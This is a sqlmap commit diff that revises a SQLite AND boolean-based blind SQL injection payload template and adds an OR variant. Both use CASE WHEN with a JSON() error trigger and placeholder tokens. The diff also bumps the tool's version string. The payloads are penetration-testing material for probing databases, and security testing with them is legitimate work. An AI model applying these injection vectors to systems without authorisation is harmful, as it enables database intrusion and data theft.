Skip to content

Commit 6d472dc

Browse files
committed
Minor update of SQLite specific payload (#5501)
1 parent 2f66aa8 commit 6d472dc

File tree

2 files changed

+25
-6
lines changed

2 files changed

+25
-6
lines changed

data/xml/payloads/boolean_blind.xml

Lines changed: 24 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -598,18 +598,37 @@ Tag: <test>
598598
</test>
599599

600600
<test>
601-
<title>SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (json)</title>
601+
<title>SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
602602
<stype>1</stype>
603-
<level>1</level>
603+
<level>2</level>
604604
<risk>1</risk>
605605
<clause>1</clause>
606606
<where>1</where>
607-
<vector>AND CASE WHEN [INFERENCE] THEN 1 ELSE json('') END </vector>
607+
<vector>AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</vector>
608+
<request>
609+
<payload>AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</payload>
610+
</request>
611+
<response>
612+
<comparison>AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</comparison>
613+
</response>
614+
<details>
615+
<dbms>SQLite</dbms>
616+
</details>
617+
</test>
618+
619+
<test>
620+
<title>SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
621+
<stype>1</stype>
622+
<level>3</level>
623+
<risk>3</risk>
624+
<clause>1</clause>
625+
<where>2</where>
626+
<vector>OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</vector>
608627
<request>
609-
<payload>AND CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE json('') END</payload>
628+
<payload>OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</payload>
610629
</request>
611630
<response>
612-
<comparison>AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE json('') END</comparison>
631+
<comparison>OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</comparison>
613632
</response>
614633
<details>
615634
<dbms>SQLite</dbms>

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty.six import unichr as _unichr
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.7.8.8"
23+
VERSION = "1.7.8.9"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

0 commit comments

Comments
 (0)